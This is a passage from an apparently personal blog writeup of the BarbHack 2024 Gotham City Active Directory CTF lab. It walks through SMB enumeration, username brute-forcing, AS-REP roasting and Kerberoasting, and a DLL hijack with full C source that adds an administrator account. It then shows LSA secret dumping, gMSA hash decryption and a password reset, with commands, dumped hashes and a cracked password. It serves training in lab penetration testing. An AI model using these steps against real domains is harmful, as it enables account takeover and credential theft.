BarbHack CTF 2024 : Gotham City - Active Directory writeup
This lab was part of 2024’s BarbHack hacking conference’s CTF and was created by mpgn who is known for his contributaions to NetExec.
from oficial repo:
Originally featured in the Barbhack 2024 CTF, this lab is now available for free to everyone! In this lab, you’ll explore how to use the powerful tool NetExec to efficiently compromise an Active Directory domain during an internal pentest.
The deployment of it is quite simple, similar to the GOAD lab setup, which I wrote about here, and can be done like any Ansible playbook deployment. Ansible isn’t the only option—other tools are listed too, depending on what you’re comfortable with. With a few tweaks to the IP addresses to avoid conflicts with my GOAD setup, I was ready to go.
All the details on how to deploy it is here, This lab can also be deployed using Ludus.
There are 13 flags to capture in total—covering various Active Directory misconfigurations and enumeration techniques.
My goal in solving this lab isn’t just to capture the flags, but to learn new techniques and understand each attack—down to the wire—through low-level network analysis.
Time to compromise Gotham City! 🦇
Setup
It consist of three machines configured with those IPs:
DC01.GOTHAM.CITY
⇒ 192.168.56.20SRV01.GOTHAM.CITY
⇒ 192.168.56.21SRV02.GOTHAM.CITY
⇒ 192.168.56.22
Enumeration
Nmap didn’t yield any unusual service, all default DC stuff.
I think in most machine-based CTFs, one of the first things everyone typically do is enumerate SMB. I run nxc against all of the 3 machines with guest
session because null
session was disabled. And I got this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ nxc smb ip.txt -u 'guest' -p '' --shares
SMB 192.168.56.21 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB 192.168.56.22 445 SRV02 [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB 192.168.56.20 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB 192.168.56.21 445 SRV01 [+] GOTHAM.CITY\guest:
SMB 192.168.56.22 445 SRV02 [+] GOTHAM.CITY\guest:
SMB 192.168.56.20 445 DC01 [+] GOTHAM.CITY\guest:
SMB 192.168.56.22 445 SRV02 [*] Enumerated shares
SMB 192.168.56.22 445 SRV02 Share Permissions Remark
SMB 192.168.56.22 445 SRV02 ----- ----------- ------
SMB 192.168.56.22 445 SRV02 ADMIN$ Remote Admin
SMB 192.168.56.22 445 SRV02 C$ Default share
SMB 192.168.56.22 445 SRV02 IPC$ READ Remote IPC
SMB 192.168.56.21 445 SRV01 [*] Enumerated shares
SMB 192.168.56.21 445 SRV01 Share Permissions Remark
SMB 192.168.56.21 445 SRV01 ----- ----------- ------
SMB 192.168.56.21 445 SRV01 ADMIN$ Remote Admin
SMB 192.168.56.21 445 SRV01 C$ Default share
SMB 192.168.56.21 445 SRV01 CleanSlate READ,WRITE Basic RW share for all
SMB 192.168.56.21 445 SRV01 IPC$ READ Remote IPC
SMB 192.168.56.20 445 DC01 [*] Enumerated shares
SMB 192.168.56.20 445 DC01 Share Permissions Remark
SMB 192.168.56.20 445 DC01 ----- ----------- ------
SMB 192.168.56.20 445 DC01 ADMIN$ Remote Admin
SMB 192.168.56.20 445 DC01 C$ Default share
SMB 192.168.56.20 445 DC01 IPC$ READ Remote IPC
SMB 192.168.56.20 445 DC01 NETLOGON Logon server share
SMB 192.168.56.20 445 DC01 SYSVOL Logon server share
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Something worth noticing—aside from the READ, WRITE
permissions on a share in SRV01
—is that both SRV01
and SRV02
have SMB signing: False
, which might be useful later for relaying.
We can then use nxc module spider_plus
to see what is actually inside CleanSlate
share:
1
2
3
4
5
6
7
8
9
10
{
"CleanSlate": {
"cleanslate.exe": {
"atime_epoch": "2025-07-23 06:37:48",
"ctime_epoch": "2025-07-23 06:37:48",
"mtime_epoch": "2025-07-23 06:37:55",
"size": "10.02 MB"
}
}
}
1st flag
After downloading it and running it on a Windows VM, the program prompts for a key. If the key is incorrect, it simply exits. So we need to reverse it, but how??
The first thing I did was try to reverse it using Ghidra, but it was a bit complex for me (or maybe I’m just still not that good yet at reversing :D ), so I got curious about what language it was written in. There is a great tool called Detect It Easy determined to identify and retrieve the signatures of executables.
If we clicked on the capital S
there we can see the signatures:
Another thing that is worth noticing according to this blog which explain the whole process of decompilation, we can determine the Python version as we can see PyInstaller first unpacks all files in the temporary folder and calls for dll
for it’s version:
So that executable was packed using PyInstaller with Python 3.11.
It’s my first time recovering source code from a compiled PyInstaller executable, After some research, I learned there are two main steps to get the source code:
- Unpack all files from the EXE. This will extract the bundled files, including the compiled Python bytecode (.pyc) files. Using a tool like pyinstxtractor.
- Decompile the relevant .pyc files to recover readable Python source code. Using a tool like uncompyle6.
Executing pyinstxtractor
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ python3 pyinstxtractor.py ../../cleanslate.exe
[+] Processing ../../cleanslate.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 10172177 bytes
[+] Found 26 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: cleanslate.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../../cleanslate.exe
You can now use a python decompiler on the pyc files within the extracted directory
There are often some false positives, our main focus on cleanslate.pyc
Now time for step 2:
I searched for another tool and I found on reddit an online tool to do the hard work for us:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: cleanslate.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
from rich.progress import Progress
import time
import os
import base64
def shift_char(c, shift):
"""Shift character by shift amount."""
if c.isalpha():
shift_amount = shift + 26
base = 'A' if c.isupper() else 'a'
return (chr * ord(c) * ord(base), shift_amount + 26)(ord(base))
return True
if c.isdigit():
shift_amount = shift + 10
return (chr | ord(c) | ord('0'), shift_amount | 10)(ord('0') + __main__)
return c
KEY_FILE = 'C:\\SHARE\\key.txt'
KEY = 'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='
def is_valid_key(input_key):
if os.path.exists(KEY_FILE):
with open(KEY_FILE, 'r') as file:
stored_key = file.read().strip()
if input_key == stored_key:
return True
if len(input_key) == 24 and 'GOTHAMCITY' in input_key:
return True
return False
def cleaning(encoded_flag):
decoded_bytes = base64.b64decode(encoded_flag)
decoded_flag = decoded_bytes.decode()
shift = 3
reversed_shifted_flag = ''.join((shift_char(c, -shift) for c in decoded_flag))
original_flag = reversed_shifted_flag[::-1]
return original_flag
def main():
key = input('Enter your key: ')
if is_valid_key(key):
print('Key is valid! Cleaning data...')
with Progress() as progress:
task = progress.add_task('[green]Processing...', total=100)
for i in range(100):
time.sleep(0.05)
progress.update(task, advance=1)
print('Process completed! Flag:', cleaning(KEY))
else:
print('Invalid key. Please try again.')
if __name__ == '__main__':
main()
The logic of the code is quite easy, just checking if input_key
matches the key that is in C:\SHARE\key.txt
, or if the input_key
is exactly 24 characters long and includes the string GOTHAMCITY
. And we can see it actually tries to open it in procmon
I was too lazy to create a folder on the VM and put the key.txt
there so I tried to print a 24 char including the GOTHAMCITY
string.
1
2
└─$ python3 -c "print('a' * 14 + 'GOTHAMCITY')"
aaaaaaaaaaaaaaGOTHAMCITY
but it somehow didn’t work, remember this code is decompiled so the flow of the code maybe different from the actual one.
after creating the desired key.txt
we got back the 1st flag!
Just to to satisfy my curiosity, I wanted to know if the 24-char string that includes
GOTHAMCITY
(not the string in thekey.txt
) would work now with the file in the correct path??.. and it actually worked?, but it still reads the 5-char stringpix3l
from thekey.txt
.My assumption is that the original code runs inside a
try-except
block.
2nd flag
I tried to gain an initial foothold by obtaining user credentials on the domain. I attempted to enumerate LDAP for any plain-text passwords in user descriptions, but guest access was disabled, Even getting valid usernames needs a potential user list, but since the domain is GOTHAMCITY
, I figured the users might be named after Batman characters. Worth a shot, right?
And of course, there’s a live website that serves an API has all character names.
Getting characters names:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ for i in $(seq 1 83); do curl -s "https://api.batmanapi.com/v1/characters/$i" | tee -a characters.json ;done
{
"data": {
"id": 1,
"attributes": {
"name": "Bruce Wayne",
"alias": "Batman",
"alive": true,
"role": "Hero",
"description": "The Dark Knight and protector of Gotham City.",
"creator": "Tom King, Scott Snyder",
"first_appearance": "Batman: Rebirth #1",
"gender": "Male",
"image_url": "https://example.com/images/bruce_wayne.jpg",
"abilities": [
"Martial Arts",
"Detective Skills",
"Stealth"
]
}
},
--- SNIP ---
it outputs a json file contains all the 83 character of the universe of batman, now I need to only extract the name:
1
2
3
4
5
└─$ cat characters.json | jq -r ".data.attributes.name" | tee -a potential.txt
Bruce Wayne
Selina Kyle
Alfred Pennyworth
--- SNIP ---
One final tweak before launching Kerbrute
is to convert the names into common AD username formats using the awesome tool username-anarchy
1
2
3
4
5
6
7
8
9
10
11
12
└─$ ruby ~/tools/username-anarchy/username-anarchy --input-file potential.txt --select-format first,first.last,f.last,flast | tee -a users.txt
bruce
bruce.wayne
b.wayne
bwayne
selina
selina.kyle
s.kyle
skyle
alfred
alfred.pennyworth
--- SNIP ---
now running kerbrute:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(pix3l㉿home)-[~/Desktop/machines/GothamCity]
└─$ kerbrute userenum users.txt -d gotham.city --dc dc01.gotham.city
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/24/25 - Ronnie Flathers @ropnop
2025/07/24 23:21:53 > Using KDC(s):
2025/07/24 23:21:53 > dc01.gotham.city:88
2025/07/24 23:21:53 > [+] VALID USERNAME: bruce.wayne@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: selina.kyle@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: alfred.pennyworth@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: dick.grayson@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: barbara.gordon@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: tim.drake@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: jason.todd@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: oswald.cobblepot@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: harvey.dent@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: bane@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: black.mask@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: joker@gotham.city
2025/07/24 23:21:53 > [+] VALID USERNAME: deadshot@gotham.city
2025/07/24 23:21:53 > Done! Tested 224 usernames (13 valid) in 0.049 seconds
Now I can try attacks like AS-REP roasting
to see if I can crack any user hashes. But all of em wasn’t misconfigured.
I got stuck for hours and hours, trying every possible technique I knew to get an initial foothold but nothing worked. Eventually, I gave in and looked up a public writeup for the machine. Turns out when decompiling the Python bytecode, the first user was printed directly in the source code along with this message which didn’t appear when I ran my copy of the binary ):
Flag:, If any error contact this person: lucius.fox1337 — this man is known for his careless style!
It even featured some Batman ASCII art, so it’s likely that the original binary used during the CTF was different from the one currently available online.
So back to Gotham, I added this user and got a hit!:
1
2
3
4
└─$ impacket-GetNPUsers gotham.city/ -dc-ip 192.168.56.20 -usersfile valid_users.txt -format hashcat
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$lucius.fox1337@GOTHAM.CITY:8fd05ab5cc5b889aafde6c66e5544e6e$cfa186d9f859d9a81d573de5383fa45813cc6d96ddfd72c6695739b3eb82d30037c64847a6d0cca041abbad4f1a13d0dc930772c91d248fbd9d8c90ab57cdad5833be421c821098cb732daca191d234f7fec086b50c927a9e168f148feaab4a6b0fcef1c6bbdb39084a60b09d779951a180a46d5107cb1b7d91b1412e76d632186303bf79005c04cb5cfbb2715001d7d21a93fad98475ba0dffd6da7d9718726f925e548d59534c348ca3818fd6ea50bec3a584ab45ac4e02c48f1a416f7c7aa6f77eca8eefc9dd68771a57d942b7fb24df58bd713ee1d77d1959ec551a590b55f2af1e28fb96ce8ae63
Tried to crack it, but I couldn’t. Back to hours of searching and I remembered that NetExec has this new module that Kerberoast users via AS-REP Roasting that I saw a tweet about few days ago. Myabe that will work with lucius
?..
1
2
3
4
5
└─$ nxc ldap dc01.gotham.city -u lucius.fox1337 -p '' --no-preauth-targets valid_users.txt --kerberoasting output.txt
LDAP dc01.gotham.city 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (signing:None) (channel binding:No TLS cert)
LDAP dc01.gotham.city 389 DC01 [+] GOTHAM.CITY\lucius.fox1337 account vulnerable to asreproast attack
LDAP dc01.gotham.city 389 DC01 [*] Total of records returned 1
LDAP dc01.gotham.city 389 DC01 $krb5tgs$23$*joker$GOTHAM.CITY$joker*$e2f2d5a7ada6873238068181cd37c87f$ef397ac88701b23a91e478f7ddb0bfb648218984e8ba26df78c2e81144d8a0e2628620c5e2652b3182a5d941fc30ea08e9f916e7d568cb557e77867192f4643226ad64ee5d6cd7e1ed73b964407af35ad495f0ec3156a50ddcf5cdd935bbcf5d774cd7d85e6a95dba35dc056550d1829bf8cc72fe4ab873819294270fecaf123035bd12e56ec935a7db3471ca9ba9f322e232ba878ca91c1829f3de52469ca81f20d82daf767feac0797f9756589cd8d881787650c6e5d01e8cda737fc5a84839243bbe2139eb15d679b48134a60199ad14009f1484cf37f683a51a56378acd5c7286c8792cd0e2e4fdf79cd9c7f5870e78ac9bbfa6c7b1e1e012a946dc0b435425e948e5386e44c1bb6ab154badeeeb295d26074cf4444ff5f4092dfa2ac073bad23a4dcc26d52cc49e6ee2c1eedac7652ee25f7f122ad30871207afa0475fc5b265e74f088d23251652b1d707e16f798ea3c20dee3066adc36e5d35315cc2e76e686f6da3b1c849966abeef816c65ac4c2dd3bf2150cf3264f6a8db33851a26344f80f7c62e90dd2ca537e5ae76a6632c0cbd1276a4cbe0736a77c491f2c619a554b5b2974ea32ee4c482a05afc0bb692f3d44639902395fa2eccf33eec604788cdb7a2ab6b2b21e49b7756b329971aa6121b132ad21fb1de995aad2ac8a19e5d85874925c8933f35ef5f59cf0230754a7fe5e989b7b58df2c4cccab993639e06122a3f0e9b5f40068ebb6262edf724a18a6abedff733bda14d0a099251e10ab36e775deb133f553daa8aa9c6e608b10579f3e214f0170315bc85d44f6e918b3cb6dbc24c428c47313ee85199de1629b75b1a2ebe3f200ab7339c7d60c67563e6a325ddf345887901f5690e40ec150a5888f1b90617c97c3f6dbd99e69bce665efa708d9a06f1fbbc158f6fc0edd85bc946a62fd9e49ec7245182837c7a08b514121d59446e9836abc5be8524534813165b33e7816e0f4f44d6ef7ca4f02a446bdf98ccaabd3f3dab80c06afc40085355294eed6a871690fa00f1e6a88935721ec9af014a1c7f42e81ea0dcb9bbe9fe90762a32cb8e394b7ee0393d4e39eeee0d2801fb7f6b947ced7ded35dc7fd4c1d79040e22cefb4779705cf0c9e2c0bea5272d3f88bd845a9c55f06bb5be28c416319116e7763561d8a0b3c399ee9203efeda7af4ec3a39390ba9af4a44f31ebf20542422dc0c2a449e27a7219c9dea93b15779d1e8aefb870f0ff8fa61df44a8a258a6be81b590ed7591388b5cda7cf76977e9b80ffb421b6e2d36695da99748efd403de1256eee505dc4542ccfb5e662399a85091854e35782f1a751880f4b2d17
got a hit on joker!, and it was crackable: <3batman0893
I reran NXC against the SMB shares and attempted to enumerate users and shares again. This time, I got:
- More valid users
- The second flag hidden in the description field of
harvey.dent
!1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
└─$ nxc smb dc01.gotham.city -u 'joker' -p '<3batman0893' --users SMB 192.168.56.20 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False) SMB 192.168.56.20 445 DC01 [+] GOTHAM.CITY\joker:<3batman0893 SMB 192.168.56.20 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 192.168.56.20 445 DC01 Administrator 2025-07-23 03:14:51 0 Built-in account for administering the computer/domain SMB 192.168.56.20 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain SMB 192.168.56.20 445 DC01 krbtgt 2025-07-23 03:26:57 0 Key Distribution Center Service Account SMB 192.168.56.20 445 DC01 bruce.wayne 2025-07-23 03:46:07 0 - SMB 192.168.56.20 445 DC01 joker 2025-07-23 03:46:08 0 - SMB 192.168.56.20 445 DC01 alfred.pennyworth 2025-07-23 03:46:09 0 - SMB 192.168.56.20 445 DC01 selina.kyle 2025-07-23 03:46:10 0 - SMB 192.168.56.20 445 DC01 harvey.dent 2025-07-23 03:46:11 0 brb{96df3a6e62f6deff7a49d4faf7407050} SMB 192.168.56.20 445 DC01 jim.gordon 2025-07-23 03:46:12 0 - SMB 192.168.56.20 445 DC01 lucius.fox1337 2025-07-23 03:46:13 0 - SMB 192.168.56.20 445 DC01 barbara.gordon 2025-07-23 03:46:14 0 - SMB 192.168.56.20 445 DC01 oswald.cobblepot 2025-07-23 03:46:15 0 - SMB 192.168.56.20 445 DC01 edward.nygma 2025-07-23 03:46:16 0 - SMB 192.168.56.20 445 DC01 bane 2025-07-23 03:46:17 0 - SMB 192.168.56.20 445 DC01 victor.freeze 2025-07-23 03:46:18 0 - SMB 192.168.56.20 445 DC01 harley.quinn 2025-07-23 03:46:19 0 - SMB 192.168.56.20 445 DC01 dick.grayson 2025-07-23 03:46:20 0 - SMB 192.168.56.20 445 DC01 jason.todd 2025-07-23 03:46:21 0 - SMB 192.168.56.20 445 DC01 tim.drake 2025-07-23 03:46:22 0 - SMB 192.168.56.20 445 DC01 talia.al.ghul 2025-07-23 03:46:23 0 - SMB 192.168.56.20 445 DC01 rachel.dawes 2025-07-23 03:46:24 0 - SMB 192.168.56.20 445 DC01 ras.al.ghul 2025-07-23 03:46:25 0 - SMB 192.168.56.20 445 DC01 scarecrow 2025-07-23 03:46:27 0 - SMB 192.168.56.20 445 DC01 poison.ivy 2025-07-23 03:46:28 0 - SMB 192.168.56.20 445 DC01 black.mask 2025-07-23 03:46:29 0 - SMB 192.168.56.20 445 DC01 killer.croc 2025-07-23 03:46:30 0 - SMB 192.168.56.20 445 DC01 deadshot 2025-07-23 03:46:31 0 -
3rd flag
The next step was diving into BloodHound
to look for any ACL
misconfigurations. I noticed an interesting user with GenericAll
on almost everything, so I marked it as a high-value target. Aside from that, there wasn’t much else of interest.
I Contniued to enumerate using nxc and I got a hit on RDP:
1
2
3
4
5
6
7
8
└─$ nxc rdp ip.txt -u 'joker' -p '<3batman0893'
RDP 192.168.56.20 3389 DC01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (nla:True)
RDP 192.168.56.21 3389 SRV01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV01) (domain:GOTHAM.CITY) (nla:True)
RDP 192.168.56.22 3389 SRV02 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP 192.168.56.20 3389 DC01 [+] GOTHAM.CITY\joker:<3batman0893
RDP 192.168.56.21 3389 SRV01 [+] GOTHAM.CITY\joker:<3batman0893 (Pwn3d!)
RDP 192.168.56.22 3389 SRV02 [+] GOTHAM.CITY\joker:<3batman0893
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Compromising SRV01
I fired up winpeas
on SRV01
on got this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
╔══════════╣ Modifiable Service Binaries (Potential Privilege Escalation)
╚══════════
[*] Checking services where current user has WRITE permissions on the binary path...
[+] Service Name: WayneService
Display Name: (none)
Status: Stopped
Start Mode: Auto
Service Type: Win32OwnProcess
Image Path: C:\Wayne\wayne.exe
Can Start: True (UserCanStart = True)
Registry Path: HKLM\SYSTEM\CurrentControlSet\Services\WayneService
Service Account: LocalSystem
[!] WARNING: User has WRITE access on the binary path!
-> This could allow privilege escalation if the binary is replaced.
Interesting service name, and joker
can write on it.
I copied it to another VM and tried to run it So it is trying to load something? maybe a
DLL
Further inspection it with procmon
:
Looks like it’s just attempting to load that
alfred.dll
. Sounds like a great opportunity for a DLL hijack to escalate privileges and potentially compromise SRV02. but first, we need to check what privileges this service runs with it’s executing as
LocalSystem
, So we can create a new user and add ourselves in administrators group.
I asked ChatGPT to generate a C program that adds a user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ cat adduser.c
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
USER_INFO_1 ui;
DWORD dwError;
ui.usri1_name = L"pix3l";
ui.usri1_password = L"P@ssw0rd";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
ui.usri1_script_path = NULL;
NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = L"pix3l";
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
}
return TRUE;
}
after compiling and copying it to SRV01 using cp
command and impacket-smbserver
on my attacking machine and running wayne.exe
again:
Then all I had to do was net start WayneService
to add pix3l
to administrators:
After that first thing I do when getting as Local admin on a machine is dump LSA
, I tried impacket-secretdump
but it didn’t work
1
2
3
4
5
└─$ impacket-secretsdump gotham.city/pix3l:'P@ssw0rd'@192.168.56.21
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: rpc_s_access_denied
[*] Cleaning up...
few days ago I saw this tweet that has new modules for dumping NTDS.dit
and LSA
and it worked like a charm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ nxc smb SRV01.GOTHAM.CITY -u 'pix3l' -p 'P@ssw0rd' --local-auth --lsa
SMB 192.168.56.21 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:SRV01) (signing:False) (SMBv1:False)
SMB 192.168.56.21 445 SRV01 [+] SRV01\pix3l:P@ssw0rd (Pwn3d!)
SMB 192.168.56.21 445 SRV01 [+] Dumping LSA secrets
SMB 192.168.56.21 445 SRV01 GOTHAM.CITY/Administrator:$DCC2$10240#Administrator#39485ed3512c727dd30b8f5dccd81131: (2025-07-23 23:58:29)
SMB 192.168.56.21 445 SRV01 GOTHAM.CITY/joker:$DCC2$10240#joker#e7d14d706a6a8a40939f0b5ed6fa4db1: (2025-07-24 23:21:58)
SMB 192.168.56.21 445 SRV01 GOTHAM\SRV01$:aes256-cts-hmac-sha1-96:4a0a3170c390e3eb3c799454c19084b182a4cddae47816ca77d7e25a5a1338dd
SMB 192.168.56.21 445 SRV01 GOTHAM\SRV01$:aes128-cts-hmac-sha1-96:94c55cdb4bdc85df20196818eb85743c
SMB 192.168.56.21 445 SRV01 GOTHAM\SRV01$:des-cbc-md5:54c852861f15b364
SMB 192.168.56.21 445 SRV01 GOTHAM\SRV01$:plain_password_hex:5c004f0030006d003d003c0046004b0033007400430073003a004500460024006d00400039006c0027005d0079002f004f0041004d0023005d004c006a00280071003d00410048003f006200460063002d0074005500590036002700680058007a0061006c0079004c00480078005e003c00430024006d0041002e004e0032004400380066004600590052006400440062006e003d00290025004d004c0060003e003c006a00420056006e006600400072006c0079007a003d004d0064006500300053005e0026004c0031006500660022002c0068002000640036004900390042002f0043003e0044004c0068007900
SMB 192.168.56.21 445 SRV01 GOTHAM\SRV01$:aad3b435b51404eeaad3b435b51404ee:8aaf1265931bb244e9c77b8713da9fa3:::
SMB 192.168.56.21 445 SRV01 dpapi_machinekey:0x704927117ac943bcc227b71aa8183ca52fc6e5aa
dpapi_userkey:0x5ee5f32fe0e3abf3b37b6ae5bb1c43c5801f6b39
SMB 192.168.56.21 445 SRV01 _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:02b7148230fe0cb0ecedaadc5e7926225a759bb7841b273e4f3d8e84fef88e2e8c5861012e0730f5416357351da0d7c11d85d840f06e3eebe5e4f0bd7326d087daf0bdbd6793278e9d909de840db8c68805a2f58be07e6d434d002c795d357b1ece812baed73a7a12a57e359146efdb6cdf6d2f643006954eb5d9065871358a88843c15d605c0fc793be416487e92b4ad3fe38c74158fb6a5d67a4880d0f2b45c0b3bd11e76d7245dab9ea892fc7f7a1b9cf1150ff6e51518d8515299c2bed69b2e91248c239e32665f16205d425fea11ec7998ad2720d0b2a284a6899500f4a937085bb63218613785c4c0358baa700
SMB 192.168.56.21 445 SRV01 _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:01000000220100001000000012011a01a207d92210ce3501070224dc67d61ed2fb4aa495cd0f4017eb9710c5f44bf6371c20be8e61b9b31753397be40773bae3889c8c0677c71e1ae9a2ea0035230db0532fec9d5cc7337bf6f20be7eb1333c3fe5d6188f54b837175103cb083c6c013099276ef41f1830c5bcb956a20c60e2f3f66bae08f6ad4459c853460acaf744530335dc7ee671ef83b075761072aade984f504486e2a916f9ed0c3cb79583adadf089401c6e281df0229411c0cb36c983f38efbb6cfcbf7ec5c678c8915818d59eabadb6c821c8150d1621dd566d13a8bdc422bc31578effab016c9b1fe1594e229dd2afacd3b15678b4dd9e3469847e136206659f5c77b7d74ae8d3fea550c20000502e49975117000050d078e450170000
SMB 192.168.56.21 445 SRV01 GMSA ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c NTLM: e53fd750fc7d68fb4210782546a9ff48
SMB 192.168.56.21 445 SRV01 [+] Dumped 10 LSA secrets to /home/pix3l/.nxc/logs/lsa/SRV01_192.168.56.21_2025-07-25_031008.secrets and /home/pix3l/.nxc/logs/lsa/SRV01_192.168.56.21_2025-07-25_031008.cached
I dehexed the machine account password with CyberChef and it’s my first time getting actual password for a machine account, I even put the NTLM
hash in a file and tried to crack the hash to see if it will match the output from CyberChef
and it did, but hashcat outputed back in hex xd Now we have both
NTLM
and plain password for SRV01$
machine account!
GMSA-ROBIN$
back to bloodhound I can see this: If we looked back to nxc command that dumped the
LSA
we can find a hash for GMSA
, is it GMSA-ROBIN$
account hash? It is indeed but we can check by using nxc:
1
2
3
4
└─$ nxc ldap 192.168.56.20 -u 'joker' -p '<3batman0893' --gmsa-decrypt-lsa "_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:01000000220100001000000012011a01a207d92210ce3501070224dc67d61ed2fb4aa495cd0f4017eb9710c5f44bf6371c20be8e61b9b31753397be40773bae3889c8c0677c71e1ae9a2ea0035230db0532fec9d5cc7337bf6f20be7eb1333c3fe5d6188f54b837175103cb083c6c013099276ef41f1830c5bcb956a20c60e2f3f66bae08f6ad4459c853460acaf744530335dc7ee671ef83b075761072aade984f504486e2a916f9ed0c3cb79583adadf089401c6e281df0229411c0cb36c983f38efbb6cfcbf7ec5c678c8915818d59eabadb6c821c8150d1621dd566d13a8bdc422bc31578effab016c9b1fe1594e229dd2afacd3b15678b4dd9e3469847e136206659f5c77b7d74ae8d3fea550c20000502e49975117000050d078e450170000"
LDAP 192.168.56.20 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (signing:None) (channel binding:No TLS cert)
LDAP 192.168.56.20 389 DC01 [+] GOTHAM.CITY\joker:<3batman0893
LDAP 192.168.56.20 389 DC01 Account: gmsa-robin$ NTLM: e53fd750fc7d68fb4210782546a9ff48
Now we have the hash of GMSA-ROBIN$
computer account.
harley.quinn - 4th flag
GMSA-ROBIN$
has GenericAll
over HARLEY.QUINN
so we can for reset its password.
1
2
3
4
5
6
7
8
┌──(pix3l㉿home)-[~/Desktop/machines/GothamCity]
└─$ bloodyAD -u 'gmsa-robin$' -p 'e53fd750fc7d68fb4210782546a9ff48:e53fd750fc7d68fb4210782546a9ff48' -d gotham.city --dc-ip 192.168.56.20 set password harley.quinn 'P@ssw0rd'
[+] Password changed successfully!
┌──(pix3l㉿home)-[~/Desktop/machines/GothamCity]
└─$ nxc smb DC01.GOTHAM.CITY -u 'harley.quinn' -p 'P@ssw0rd'
SMB 192.168.56.20 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
